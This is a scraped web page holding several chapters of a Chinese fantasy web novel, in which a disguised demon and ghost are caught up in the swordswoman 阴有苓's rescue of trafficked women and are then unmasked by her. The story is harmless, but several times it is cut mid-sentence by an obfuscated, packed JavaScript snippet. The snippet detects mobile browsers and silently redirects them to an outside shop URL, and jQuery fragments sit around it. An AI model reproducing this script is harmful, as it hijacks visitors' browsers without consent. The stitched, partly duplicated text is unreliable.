l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12928370|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去鄞城当家伎。 等到了鄞城后,他打算出手捞这批弱女子一把。只是救人容易,接下来要怎么安顿好她们就难了。 “没有,怎么来问我们,不是应该去问孟姑娘吗?” 孟姑娘与商姑娘同乘一辆车,沿途住宿时也同住一间房,上船后也不例外,理应是最清楚她下落的人。 “孟姑娘半夜醒来,发现商姑娘的床是空的,我们在甲板上找不着她,现在只能挨个房间搜了。” 把两层楼船的所有房间都搜上一遍后,仍然不见商姑娘的踪影。 既然船上找不着人,那就只能说明她已经离开了这艘船。除非她长了翅膀能直接飞走,否则就是跳进了太湖。 “天啊,商姑娘她……该不会是跳水寻死了吧?” 孟姑娘脸色发白地说出这句话时,其他姑娘都吓得花容失色,阿难“姑娘”和应长恨“小姑娘”却不以为然。 如果是跳水寻死,商姑娘翻过船舷落入湖水时,一定会有重物落水时溅出的声响,那种动静声绝对逃不过他俩的耳朵。 既然他俩都没听到任何声音,只能说明商姑娘擅长水性,是如一尾游鱼般悄无声息地从船舷处滑入湖中。 阿难合理推测,并不愿意去鄞城当家伎的商姑娘,趁着船行太湖的机会,利用自己会凫水的技能逃之夭夭了。 如果她扑通一声跳下湖,会惊动船上值守的人员,第一时间下水救人。那样她就未必能成功“水遁”了,所以悄无声息的消失最为稳妥。 阿难并不打算指出这一点。如果护卫人员真以为商姑娘已经跳水自尽了,就不会再派人把她抓回来。 然而,护卫队的首领也不是吃素的,同样想到了这一点。 “商姑娘恐怕不是跳水自尽,因为夜里值守人员没有听到有人落水的声音,她应该是深谱水性跳湖逃跑了。” 意识到了商姑娘是逃跑,首领就让船夫掉头转向,驶往距离此处水域最近的一座岛屿。 商姑娘跳水后,如果不想体力耗尽淹死在茫茫太湖中,唯一的选择就是游去这座小岛。 虽说岛上无人居住,却是过往渔民的临时栖息之地,可以施以援手把她载回岸上。 做完这个决定后,首领就打发其他姑娘都回屋。 “行了,没事了,你们都先回屋呆着,没事不准离开自己的房间。” . 大船行驶到那座岛屿附近时,远远就望见那儿泊着一艘小船。 那艘小船并非渔船,而是一只乌篷舟,船篷里亮着一点烛光,斜斜映出两道身影,也不知里头是什么人。 虽然不知道船家是何许人也,不过首领一看那乌篷舟斑驳寒酸的外表,就不免心存轻视。 临近小船时,他还很不客气地吆喝起来。 “我乃邗城富商胡公门下护卫首领,正在搜捕跳水逃走的家伎一名。船上的人打开门走出来,我要检查是否有私逃人员藏身其中。” 首领趾高气扬的命令下达后,一个轻盈矫健的身影,很快就从船篷里钻了出来。 26.安排 阿难一直趴在窗户边留意外头的情况,随时准备出手搭救。 如果商姑娘真躲在那艘乌篷舟上,他可以施展幻术让首领根本就认不出她,把她当成全然无关的一个陌生人。 可是从船篷里走出来的那个人,却让他意想不到地吃了一惊。立马从窗边缩回头,以最快速度钻回被窝里。 早就躺回床铺上睡觉的应长恨顿时察觉到了不对劲,小声询问道:“你怎么突然像遇上猫的耗子一样?” “你还记得咱们在女王蜂老巢外头遇上的那个青衣女修吗?” “当然记得。” 点了一下头后,应长恨有所明了地又问:“难道她现在就在外头?” “恭喜你,答对了。” 发现从船篷里出来的人是一位英气不凡的青衣女修后,首领颇有些意外,态度也客气多了。 修真者追求长生不老与霞举飞升,云间仙境的神仙们,都是通过修真得道飞升成仙的。 人间凡界的修士们,自然也就深受世人尊崇。 阴有苓英姿飒爽的外表,就不同于一般弱质女流,浑身上下的气场也透着“不好惹”三个字,负在背上的那柄重剑更是强化了这一点。 首领也是有见识的人,很清楚这些修真人士都人不可貌相,轻易不能招惹,否则只有自己吃亏的份儿。 “原来是一位真人夜泊于此,在下刚才真是失礼了,还请真人恕罪。” 阴有苓面无表情地道:“你要找的人就在我船上,不过我不会允许你把她带走。” “是,既然真人想要留她作客那就留吧。在下就不打扰了,先行告退。” “等一下,听说大船上还有其他要被送往鄞城充当家伎的女子。你把她们都叫出来,如果还有人不愿意,我也要一并留下。” 首领顿时头皮一阵发麻,别提多后悔自己跑过来追人了。 现在不但商姑娘抓不回来,搞不好还得再搭上几个出去,真可谓是偷鸡不着蚀把米。 “真人,是胡公花钱买下这批女子送往鄞城,在下不过是奉命行事,您就别为难小人了。” “我不管什么胡公不胡公,也不管他花了多少钱买人。今晚既然被我遇上了,只要还有女子不愿意去鄞城当家伎,我就要把她们都留下来。你要是不同意,就过来跟我打一架,回去也好交代。” 首领很清楚自己这些人根本不是修士的对手。 但如果不战而降,以后可没法向主人交代,只好咬牙道:“那就请真人赐教了。兄弟们,一起上。” 阴有苓足尖一点飞身上了大船,徒手跟首领一伙人过起了招。 虽然有十几名家丁一起围攻她,但她的身法快如幻影般根本围不住,连她是怎么出手的都没看清楚,很快就被她一一撂翻在地。 走到已经倒在地上的首领面前,阴有苓再次问道:“现在可以把其他女子都叫出来让我问话了吗?” “真人你本事大,自然是你说了算。” 顿了一下后,首领又道:“敢问真人尊姓大名?事后我家主人问起来,我也好有个交代。” “无极宗,阴有苓。” 阴有苓的声音虽然不大,但二楼房间里的阿难还是听得一清二楚,不觉为之一怔。 . 剩下的九名姑娘被叫上甲板时,阿难和应长恨两个冒牌货,小心翼翼地走在最后面,尽量站在灯光昏暗的地方。 阴有苓却偏偏注意到了他们,眉头一蹙地问道:“怎么还有一个小女孩呀?” 阿难“姑娘”柔柔弱弱地回答道:“父母双亡后,我们姐妹一直相依为命,这次同去鄞城也是想要一起有个照应。” 说起来,这是阴有苓第二次跟阿难与应长恨照面。 但上一回她见到的是“女王蜂”和难贵妃,跟眼前一大一小两个“姑娘”完全不是一码事,自然是认不出来的。 弄明白怎么一回事后,阴有苓也就不再多问,直接表明自己的用意。 “听说邗城的富商采买了你们,准备送去鄞城一位大官家里当家伎。商姑娘不愿意跳湖逃走,恰好被我遇上搭救了。如果你们当中还有人不愿意就说出来,我也可以一并救下。” “我也不愿意,多谢女侠搭救。” 孟姑娘头一个欣然点头,接下来,又有两个姑娘纷纷表达对女侠搭救之恩的由衷感激。 十个姑娘有四个都不愿意,剩下的六个中,阿难和应长恨谨慎地先不发言,等着看其他几人怎么说。 一位李姑娘排众上前,对着阴有苓盈盈一拜。 “女侠能出手施救,我等固然是感激的。只是敢问女侠,救下我们之后又待如何呢?” 阴有苓不假思索地道:“自然是放你们自由,从此海阔凭鱼跃,天高任鸟飞,你们爱上哪去就上哪儿去。” “女侠不是寻常女子,大可以海阔凭鱼跃,天高任鸟飞。然而我等却只是弱质女流,连盘缠都没有,又能去到哪里呢?若是女侠能有个地方安顿我们,那就善莫大焉了。” 救人对阴有苓来说只是举手之力,可如果救了人后还要负责安置,那可就超出她的能力范围了。 “我没地方安顿你们,要不我让他再给你们一些盘缠吧!” 阴有苓朝着首领指了一下,他叫苦不迭地道: “阴真人,你就饶了我吧!你把人都救走了,还要我给盘缠钱,我更没法向主人交差了。况且就算给了她们盘缠,也会有花完的时候,到那时又该如何是好?” 李姑娘不自觉地点头道:“是啊,除非衣食有着落,否则仅靠一点盘缠根本无法过活。” “你们难道没有亲友可以投靠吗?” “她们或许有,我们几个却是没有的。” 李姑娘说“她们”时,指了一下四位已经表明态度不愿意去鄞城当家伎的姑娘。 所谓的“我们几个”,就是包括阿难和应长恨在内的剩余六人。 “听说桃娘和杏娘姐妹俩父母双亡,亲友也找不到了,所以只能自卖自身求条活路。我和这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12960643|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三位姐妹,都是从小被拐子拐卖到乐坊学习歌舞的,根本就不知道家人在何处。” “那你们是愿意去鄞城当家伎吗?是的话就继续跟着他们走吧!” 李姑娘神情苦涩地一笑。 “家伎不过是取悦主人与宾客的女奴罢了。如果有更好的选择,哪个女子会愿意呢?但我们几个无亲无故无人投靠,若是再遇上歹人强抢民女卖去勾栏为娼,结果只会更凄惨。” 勾栏也分三六九等,上等勾栏的娼优一流还能过上锦衣玉食的日子,下等勾栏则只能用暗无天日来形容了。 官宦人家豢养家伎,虽然地位与奴婢一般无异,但是吃穿用度却要好上很多,而且还有机会被主人看中纳为妾室。 能给主人当小妾,就已经是这些卑微女子的最好结局。 不少家伎还会沦为赠品,被主人慷慨大方地转赠他人,辗转于多个男人之手。 阴有苓终于意识到了一件事,想要搭救这批姑娘,不能救下人就不管了,还得把她们安顿好才行,否则就是白费力气。 蹙紧眉头思索片刻后,她开口道:“我或许能找个地方能安顿你们,先进屋说话吧。” 甲板上躺着一帮东倒西歪的家丁们,这个能够安顿诸位姑娘的地方,自然不适应当着他们的面说出来,否则他们以后大可以找上门去再把人抓走。 . 阴有苓打算用来安顿诸位姑娘的地方,是菰城一个名叫如意绣庄的地方。 几个月前,游历四方的阴有苓途经菰城时,如意绣庄正在闹鬼,那是一个专门祸害孕妇生产的产鬼。 产鬼由难产而死的女子所化,她们死后怨气难消,会缠上待产的孕妇阻碍其正常生产。 当时如意绣庄即将临盆的少夫人,就被一个产鬼缠上了,差点一尸两命。 阴有苓出手消灭产鬼,保住了少夫人母子俩的性命,绣庄主人周氏一家老小都对她感激涕零。 周庄主曾经说过,只要她日后有用得上的地方,一定竭尽所能绝不推诿。 江南一带多绣庄,不少绣女凭借一手绣活养活自己。 如果安排诸姑娘去绣庄当绣女,让她们学会一技之长,也就不愁没有生路了。 阴有苓说出自己的打算后,直截了当地征求意见。 “这个安排你们看能接受吗?能的话到了菰城就下船跟我走,不能的话就继续跟着护卫队前往鄞城。” 这一安排不但是李姑娘等人都点头同意,就连孟姑娘等人也改变心意了。 “阴真人,那我们也跟你走。虽然我们想过去投靠亲戚,但又安知他们是否愿意收留呢?与其如此,不如去绣庄学习绣活,以后自己养活自己,也不用再投亲靠友。” 阿难虽然很想继续蹭车去鄞城,可是其他人都答应了,他也只能随大流地点头附和,总不能唱反调引起阴有苓的注意吧? 阴有苓一锤定音,“好,那就这么说定了。时候不早了,你们都先回屋休息,明天船在菰城靠岸后一起跟我走。” 27.栽赃陷害 阿难虽然很想继续蹭车去鄞城,可是其他人都答应了,他也只能随大流地点头附和,总不能唱反调引起阴有苓的注意吧? 阴有苓一锤定音,“好,那就这么说定了。时候不早了,你们都先回屋休息,明天船在菰城靠岸后一起跟我走。” 阿难牵着应长恨回到房间后,唉声又叹气地往床上一躺。 “完了,这下车蹭不成了,连一半路程都还没蹭到呢。” “明天到了菰城后,咱们怎么办?” “还能怎么办?当然是先跟着阴有苓去绣庄,总之不能被她发现咱们不对劲。咱们一个妖一个鬼,都是修士的重点打击对象。如果被她察觉出异样,肯定没好果子吃。” 应长恨深以为然,“魅鬼和疫鬼都在追杀咱们已经够头疼了,可不能再招惹上一位修士了。” 顿了一下后,他又提议道:“咱们要不要连夜逃走呢?” 阿难摇头否决道:“阴有苓都没发现咱们有问题,连夜逃走就怕会适得其反。既然没有露出马脚,就不要自乱阵脚。有道一动不如一静,还是静观其变吧。” . 十位姑娘都要跟着阴有苓走,那条乌篷舟就不够用了。 她老实不客气地征用了胡公的大船,躲在小船里的商姑娘也重新回到大船上。 十余名随行护卫只能愁眉苦脸地任她差遣,继续驾驶船只驰往菰城。 次日上午,大船在菰城靠了岸,所有姑娘带着随身行李跟阴有苓下了船。 至于护卫的家丁们都被她捆起来留在船上,以防他们暗中跟踪,摸清姑娘们的下落后再来抓人。 阴有苓雇上两辆马车,把十位姑娘送到了如意绣庄,周庄主自然是满口答应收下她们。 “没问题,既然是阴真人拜托的事,我们绣庄责无旁贷。就算她们不擅女工,也可以留下来慢慢学,学徒期间虽然没有报酬,但是可以提供免费的食宿。” “那就再好不过了。” 周庄主招来管家,让他把等在堂前的那些姑娘们带去后厢安顿好,再盛情邀请阴有苓留下做客。 “阴真人难得来一趟,不如在舍下多盘桓几日吧?” “不了,我还赶着去浮玉山,庄主能否借我一匹快马?” “没问题。” 阴有苓和周庄主的对话,站在堂屋前的姑娘们大都没留意,但是阿难和应长恨都耳尖地听到了。 安宁镇所在的玉岭,就属于浮玉山脉中的一段。 疫鬼厉无情在此射杀了太玄真君陆衢的座骑黑虎,阴有苓要赶去浮玉山,该不会跟此事有关吧? . 阴有苓前脚刚离开了如意绣庄,阿难和应长恨二位“姑娘”后脚也跟着溜了。 “阿难,你说这个阴有苓为什么要赶去浮玉山?” “我猜应该是黑虎的尸体被发现了,太玄真君一定十分震怒,对人间的修士们下达了找出凶手的梦令。有道是打狗还要看主人,杀了他的座骑就是把他的脸面按在地上摩擦,他绝不可能咽得下这口气。” 梦令是指云间仙境的仙官利用梦境,对下界的修真人士发号施令,要求他们配合做某件事,事后也会给予一些好处。 黑虎在人间凡界被杀了,太玄真君陆衢自然是通过梦令,发动下界修士一起缉凶最为方便。 “我猜也是这样,太玄真君一定要找出杀了黑虎的凶手,往死里报仇不可。话说疫鬼真是够狠的,连神仙的座骑也敢射杀。” “是啊!那晚要是咱俩杀了黑虎还算情有可原,毕竟它想杀你我灭口,不反抗就是死。没想到厉无情无缘无故却出手要了它的命。” “疫鬼才不是无缘无故呢。当晚他趁着我和黑虎两败俱伤跑出来捡现成便宜,杀了黑虎能得到它的仙家内丹,再加上我的鬼元精华,他的法力会至少增加两倍以上,将成为无人能够匹敌的鬼域之王。换作是我,也不会错过这样的机会。” 无间鬼域的鬼王,与云间仙境的帝君,是天上地下的两大王者。能够有实力问鼎鬼王宝座的鬼中枭雄,自然都不愿错失良机。 “厉无情那晚没能如愿以偿地吞噬你,黑虎的内丹就成为唯一的收获,但也会把太玄真君得罪惨了。如果换作是我就把黑虎的尸体藏起来,不让他的主人发现,否则就是自树强敌。” “疫鬼是个精明人,绝不会干这种自树强敌的蠢事。他应该在黑虎的尸体上动了什么手脚,让人怀疑不到他头上,搞不好我成了背锅侠。” 应长恨能想到的事,阿难自然也能想到。 “是啊,这个黑锅让你来背再合适不过了,毕竟黑虎那条前肢就是被你的鬼头刀斩断的。他只要拔去那支致命的鬼箭,再用一把鬼头刀在伤口处多捅两下,神仙都看不出来它其实是惨遭射杀身亡。” 应长恨忍不住愤愤有声地骂道:“疫鬼这家伙,色若春晓之花,心如蛇蝎之毒,论心狠手辣简直没谁赢得过他。” “他这招栽赃陷害还真是厉害,无论如何黑虎一条腿折在你手里是事实。哪怕你分辩自己只是伤了它,杀它的另有其人,太玄真君信不信还得两说呢!” “看来这口黑锅我是背定了。” “恐怕如此,友情建议你赶紧找个安全的地方猫起来,先躲一躲风头再说。” 对于阿难给出的友情建议,应长恨苦笑了一下。 “原本最安全的地方是无间鬼域,那地方就算是仙官也不敢轻易擅闯。可如果疫鬼真这样陷害了我,一定就在无间鬼域等着我自投罗网呢!” . 黄泉之下的无间鬼域,是一个鬼气森森的地方。 就算是神仙去了也要时刻留意不被鬼气侵袭,否则鬼气入体后会导致阳气流失,久则化鬼。 换而言之,客场作战的仙官在无间鬼域会被鬼气影响,法力相应的有所减弱。 如无必要,没有哪个仙官愿意冒险独自深入无间鬼域砸场子。 三百年前,鬼域之王江天旷谋害帝君英昊不成反 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12976682|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 送命后,英昊都以“首恶伏诛、胁从不问”为由,没有率领天界的武神们杀去无间鬼域兴师问罪。 时间更久远的两千年之前,天界时任的皓宸帝君天禹,曾经雄心壮志地想要一统三界,带着人马跑去无间鬼域宣战。 那一战打得天昏地暗,最后虽然是天界胜出,却是伤敌一千自损八百的惨胜。 不少武神在这一战中殒命,甚至连帝君都和鬼王一起同归于尽。 皓宸帝君天禹神陨后,二把手紫衡天君英昊成为了新任帝君。 他牢记这一教训,轻易不想再对鬼域发起战争。硬碰硬这种事能免则免,如无必要就别搞得两败俱伤了。 . 厉无情陷害应长恨是杀死黑虎的凶手,太玄真君陆衢肯定不会放过他,要满世界追杀他不可。 而唯一能够让这位仙官有所顾忌不敢硬闯的无间鬼域,对他来说也并不是一个安全的地方,厉无情一定会等在那儿守株待兔。 前有狼后有虎,应长恨可谓是进退两难,不过有一点他已经拿定主意了。 “如果真要死的话,我宁愿死在陆衢手里,也不想便宜了厉无情那个娘娘腔。死之前也一定要把他拖下水,告诉陆衢他才是杀死黑虎的真凶。” 应长恨咬牙切齿的一番话说完后,阿难又一次强调道: “别满口死啊死的,多晦气呀!好死不如赖活着,你还是赶紧找一个安全系数比较高的地方先躲起来吧。” 应长恨思索片刻,“倒是有个地方可以躲上一躲。” “那就赶紧去。千万别告诉我你要躲在哪里,我这人经不起严刑拷打,要是不走运落在厉无情手里,一动刑肯定会把你卖了不可。” “要不你跟我一块躲起来吧!你从疫鬼手里救了我,坏了他的好事,他绝对恨透你了。要是你落入他手,一定会求生不得求死不能,我也要间接跟着受罪。” 阿难想了想也没有反对,“也行。不过你先说说看,你那个安全的地方在哪儿?” 应长恨回答道:“东海步云山,你觉得怎么样?” 东海步云山三面环海,曾是一座集山海灵气,蕴钟灵毓秀的灵山。 这座灵山,以前是天下第一修真门派无极宗的仙府摩宵宫所在之地。 三百年前,无极宗的宗门子弟明光,霞举飞升成为最年轻的仙官后,步云山还一度被誉为天下第一灵山。 可惜好景不长,明光飞升仅两年功夫就沦为罪仙遭到贬谪,一场雷火还把摩宵宫烧成了废墟。 原本灵气充盈的步云山,也从此灵气枯竭,不再有利于修真人士的修行,曾经鼎盛一时的无极宗就这样没落了。 阿难明了地点头道:“步云山如今是个人嫌狗不理的地方,咱们躲去那儿,一般人估计都想不到。” 没有了灵气的步云山,别说修真人士,连妖魔鬼怪都有不爱往那地方跑。 因为它们修行也是要汲取天精地华的,干吗跑过去浪费时间精力呢? 28.何方妖孽 步云山在东海之滨的临海县,距离菰城还有好几百里路程,这一路上怎么走还是一个问题。 阿难“姑娘”带着应长恨“小姑娘”,先找到一家十分热闹的酒楼坐下来吃点东西,也能顺便打探一下消息。 酒楼里有一桌修士装束的客人,正一边吃着饭一边高谈阔论,他们所聊的话题正好与黑虎有关。 阿难和应长恨坐在一个角落里,虽然距离这些修士有点远,但照样把他们的对话内容听得一清二楚。 “你们说,太玄真君的黑虎座骑眼下到底是死是活?” “理论上来说,只是发现了半截残肢,没有找到尸体,就不能算死了。” “话虽如此,但黑虎要是还活着的话,早就跑回云间仙境找主人去了。它身负重伤且下落不明,恐怕是凶多吉少。” “我听说,黑虎那半截残肢是被鬼头刀砍断的。能重创神仙座骑的鬼刀,也就只有厉鬼应长恨的那把风雷怒吧?只是无缘无故的,他为什么要对黑虎下手呢?” “那谁知道啊,这个问题只能去问厉鬼本人。” “我还听说了一件事,在黑虎出事的地方,也就是浮玉山南麓的玉岭一带,曾经闹过虎患,好几个人都被老虎吃了。诸位觉得,二者之间会不会有什么联系呢?” 满桌修士不约而同地沉默了一下后,一位最年轻的少年修士失声道:“该不是黑虎偷偷下凡吃人,被厉鬼遇上出手杀了吧?” “师弟慎言,这种没有根据的猜测不准乱说。” 少年修士的师兄话音刚落,一个清泠泠的女子声音突然在背后响起。 “这应该叫推测,而不是猜测。如果浮玉山南麓一带曾经闹过虎患,黑虎在那里出事恐怕就不是巧合。敢问这位道友,这个消息是你从哪儿听来的?” 一听这个声音,阿难和应长恨都不用看也知道来者何人——这是阴有苓,她居然还没离开菰城。 两个人很有默契地一起扭过头,避免被她发现自己的存在,也无比庆幸自己是坐在不引人注意的角落里。 阴有苓把姑娘们送到如意绣庄后,再返回泊在码头的大船上,为那些被捆的护卫家丁松绑,并警告他们不准再找寻那些姑娘们的下落。 她一来一去耽误了一些时间,眼下正好是吃午饭的时辰,就顺便吃了饭再走。 . 一身中性打扮的阴有苓,身上虽然没有寻常女子常见的柔美,但那份英气逼人的飒爽风姿,也令几位男修士都有种眼前一亮的感觉。 被她直接询问的那位修士,情不自禁地就绽放出一脸笑容,反问道:“姑娘也是道友吗?不知怎么称呼?” “无极宗,阴有苓。” 简简单单的六个字,却让几位男修士的神色变得相当复杂,显然对这位女修早有耳闻。 “原来是无极宗的阴真人啊,久仰大名。” 阴有苓半句寒暄都无,直奔主题地再次问道: “这些客套话就不必说了,道友刚才所说的虎患一事,具体发生在哪里?我想自己过去求证一下。” “我刚从浮玉山回来,途经玉岭一带的安宁镇时,听说镇上曾经有五个人被老虎吃了。阴真人如果想要求证,就去安宁镇细细打听一下吧。” “多谢。” 言简意赅地抱拳道谢后,阴有苓就扭头走向旁边的一张空桌子坐下来。 “小二,一份荷叶包饭,一碗莼菜豆腐汤,麻烦快点上,我赶路。” . 阴有苓坐在店堂里用饭的时候,角落里的阿难和应长恨缩成两只鹌鹑似的,一动都不敢乱动。 那一桌修士也一反之前的高谈阔论,老老实实地吃饭不再多话。 虽然来得晚,但是阴有苓吃得快,很快就用完午膳走人了。 她窈窕如杨柳般的身影刚刚消失,几位修士就以她为谈资又聊起来了。 “原来她就是阴有苓啊!早就听说是个英气美人,今日一见果真名不虚传。” “这样的美人却在成亲当天被甩,你们说她那位师兄晁定武是不是脑子进水了?” “听说晁定武撇下她跟一个妖女跑了。我就很好奇,那妖女究竟是何等绝色,竟能把他迷得这般神魂颠倒,不但甩了美人师妹,还连师门都不要了。” “不知道,没人知道那个妖女是谁。晁定武只留下一封书信就走了,在信中闭口不提她的身份。听说阴有苓这些年夜猎四方时,只要遇上女妖就会询问她们是否认识晁定武,估计是想把负心人找出来一剑劈了出口恶气。” “最能媚惑男子的妖族,非狐妖莫属。你们说这位妖女会不会是狐女呢?” “妖族狐女的媚术确是一绝,不过鬼姝也不遑多让。像魅鬼朱颜悔,经不起她的魅惑而断送性命的男人已经数不胜数。” “这些擅长媚惑男人的妖女鬼姝,咱们最好都躲远一点,一个不小心就是送人头啊!” . 听完有关阴有苓的八卦后,阿难和应长恨也吃得差不多了。 离开酒楼后,他打算去雇辆马车赶路。 和其他被卖的姑娘不同,“桃娘杏娘”自卖自身的银子都在阿难手里。 虽然两个大活人只卖了区区三十两白银,但至少他现在手里不缺盘缠。 应长恨建议道:“咱们要赶路的话,应该准备一些干粮带在路上吃吧?这家酒楼的肉粽好香,可以买上一打。” “肉粽的虽然不错,但价格有点小贵。不如去街边的小摊贩那里买,同样的价格能买两只。” 阿难一如既往的铁公鸡作派,应长恨瞪着他说:“那味道能一样吗?” “反正都是粽子,味道差不多了。” “不行,我就要吃这家的粽子。卖身的银两有三分之一是我的,我花自己的钱你没理由反对吧?” 说完后,应长恨也不跟阿难废话,就直接扬起小手叫来小二。 “小二,给我们包上一打肉粽,然后结账。” “二位姑娘,那得请你们再稍候片刻,肉粽还在蒸笼上蒸着呢,再等一炷香的功夫就差不多了。” 一炷香后,店小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12985877|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二将一打刚蒸好的肉粽送到阿难“姑娘”手里。 他拎着粽子和应长恨“小姑娘”一起走出酒楼时,意想不到地又迎面遇上了阴有苓。 四目相视的那一刻,阿难头皮一炸:我去,她怎么还没走啊? . 阴有苓刚才离开酒楼时,忽然想起“桃娘杏娘”姐妹俩。 那个小妹妹才七八岁大,做不了绣娘,还得周庄主破例先养她几年再说。 正好出城要经过如意绣庄,她便又顺路进去了一趟,想再次拜托一下周庄主额外照看一下这对姐妹,结果意外得知她们已经神秘失踪。 “阴真人,你来得正好。你带了十位姑娘来绣庄,可是现在只剩八个。有一对姐妹也不知怎么回事,突然就不见了!” 如意绣庄有前后两道门,门口都有门丁负责守着,不准闲杂人等随便进出。 另外还养了两条狗四处巡视,以防有什么宵小之徒暗中潜入,对绣娘们行不轨之举。 在如此严密的防范措施下,一个娇滴滴的弱女子,居然带着七八岁大的小妹子,一起从如意绣庄神秘消失了,真不知道她们是怎么做到的。 周庄主想不通这是怎么一回事,阴有苓却若有所思地目光一凝。 普通的弱质女流,绝无可能这样神不知鬼不觉地消失,所以桃娘和杏娘姐妹俩,肯定不是普通的弱女子。 她还后知后觉地回想起来,之前在那家酒楼吃午饭的时候,眼角余光曾经瞟见了半个白衫红裙的侧影,依稀仿佛有些眼熟,只是当时并没太在意。 于是,阴有苓又匆匆返回酒楼,刚到大门外,就与那对神秘失踪的姐妹俩狭路相逢。 . 这一下场面就有点尴尬了。 应长恨反正是个“小姑娘”,后退一步当起了甩手掌柜,由阿难全权负责力挽狂澜。 “阴真人,这么巧又遇上你了,我正带着妹妹在菰城闲逛呢!这个小馋猫,听说这家酒楼的肉粽好吃,非要买上一打不可。刚蒸好的肉粽,香喷喷的,给你一只尝尝吧?” 不得不说阿难的反应很快,应对得也很好,神色自然没有一点破绽。 可惜再好的演技也骗不过已经识破他伪装的人。毕竟阴有苓刚才回了一趟如意绣庄,已经深知他俩并不简单。 如果没有的话,她肯定不会怀疑这套说辞。 一瞬不瞬地盯着阿难端详了片刻,阴有苓冷冷道:“你不是人。” 阿难满脸委屈的神色,嘤嘤道:“阴真人,好端端的你怎么骂人呢?” “我没有骂人,而是指出一个事实——你、不、是、人,更不是女人。” 虽然一时间还看不出来这位桃娘是何来历,但阴有苓已经看出了“她”是男扮女装。 强烈的直觉还告诉她,这家伙一定是妖魔鬼怪的路数,神仙下凡才不会这般行事鬼祟。 话音未落,阴有苓闪电般一把抽出背后的重剑,剑尖直指着阿难的喉咙。 “老实交代,你究竟是何方妖孽?如果不说,就打到你说为止。” 29.原因 阴有苓这种简单粗暴的方式,让不愿吃眼前亏的阿难果断作揖求饶。 “阴真人别打,我说——我什么都老实交代。” 在一旁作壁上观的应长恨“小姑娘”,无语望天:“……” 这妖怪对自己的抗揍能力判断还是挺准确的。别说严刑拷打了,人家都还没开始动真格的,他就已经开口求饶了。 虽然阿难口称什么都说,但应长恨很清楚他才不会乱说话,并不担心自己会被供出来。 走到酒楼外一条比较僻静的巷子后,阿难开始对阴有苓招供。 “阴真人,实不相瞒,我是妖,他是鬼,我俩都不是女子,男扮女装是为了躲避追杀。” 妖有妖气,鬼有鬼气。一般的小妖小鬼,往往藏不住自己身上的异类气息。 妖能化成人形者,鬼能修成肉身者,方才具备藏匿妖鬼之气的能力。法力越高就藏得越好,假扮成凡人时不容易被识破。 阴有苓之前没能看出他们的妖鬼身份,显然这一妖一鬼并非什么弱鸡菜鸟。 能逼得他们不顾脸面男扮女装来躲避的追杀,对方看来应是十分棘手的狠角色。 “你们干了什么被人追杀?” “我们什么也没有干,就是前些天运气不好去了一趟玉岭,撞见了不该撞见的事,所以有人想杀我们灭口。” 玉岭这一地点,听得阴有苓的神色眉心一跳,直截了当地问重点。 “你们在那里撞见了什么?” “阴真人,我们亲眼目睹了太玄真君的黑虎遇害,这就是我们被追杀的原因。” 阴有苓意外得无以复加,“此话当真?那黑虎是被谁杀的?” “它是被鬼箭幽厄射杀的。” “什么?这么说它是死于疫鬼之手,那为什么它的半截残肢却是被鬼头刀砍断的?你说的是不是真话?要是敢编瞎话来骗我,我一定会让你死得很惨。” “阴真人,你信我,我说的话比真珠还要真。接下来我可以详细跟你说一说当晚发生的事,如果是瞎编的,以你的聪明机智,一定能听出不对劲的。” 接下来,阿难开始有选择地对阴有苓说真话。绝大部分都是事实,只是个别地方稍有出入。 在这个版本中,他和应长恨一妖一鬼,因为意气相投结为莫逆之交。 他们虽属邪魔外道,却并无害人之心。那日途经安宁镇得知玉岭一带闹虎患,还决定上山打老虎为民除害。 在玉岭的深山老林中,他们将计就计地跟着伥鬼去见老虎。 结果悲催地发现大事不妙——那只为祸一方的老虎,不是普通的老虎,而是太玄真君的座骑黑虎。 “这位虎大爷可不是我们能惹得起的主儿,趁着它正在打盹,我们二话不说就赶紧跑了。” “但是你们能在黑虎面前瞬间消失,它自然就知道你们并非凡人,也就意味着它偷偷下凡吃人的恶行有可能暴露,一定要把你们找出来灭口不可。” “没错,阴真人,都被你说中了。当时我们躲起来大气都不敢喘一下,黑虎满山找人时意外遇上疫鬼厉无情,他先下手为强来了一个暗箭伤人,黑虎就在毫无防备的情况下被一箭穿心了。” “那被鬼刀砍断的残肢又是怎么一回事?” 面对阴有苓在这方面的追问,阿难当然不会说出事实了。 